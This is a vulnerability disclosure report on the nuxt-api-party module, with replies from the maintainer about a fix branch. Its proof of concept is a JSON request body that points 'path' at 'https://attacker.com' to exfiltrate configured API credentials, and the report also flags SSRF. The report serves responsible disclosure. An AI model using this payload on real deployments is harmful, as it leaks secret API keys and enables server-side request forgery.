Leak Secret tokens by changing baseURL in johannschopplich/nuxt-api-party
Reported on
Jun 15th 2023
Description
nuxt-api-party
allows developers to easily hook up APIs. You can configure API URLs and Credentials to be sent on requests.
It is suggested in the documentation that this plugin is capable of handling sensitive data.
There is a design flaw that could allow an attacker to extract private API keys.
Proof of Concept
Send a request to /api/__api_party/yourendpoint
with the body:
{
"path": "https://attacker.com"
}
Sensitive data will be leaked to the attacker site.
This is also possible by using the runtime endpoint change feature.
SSRF is also possible, this could have further impact.
Impact
Leaking secret API keys.
SSRF.
Occurrences
server.ts L37
ofetch will permit http://
paths.
SECURITY.md
3 months ago
Hey there! Thank you very much for the security report. I have prepared a fix for both issues. Waiting on the release of the fix by you link it in my documentation. Is this the best way to proceed?
Thanks again, really happy you found this.
Hey there, I have created a branch with the fixes: https://github.com/johannschopplich/nuxt-api-party/tree/fix/tokens-leak I want to push a release in the coming days and add publish the security issue,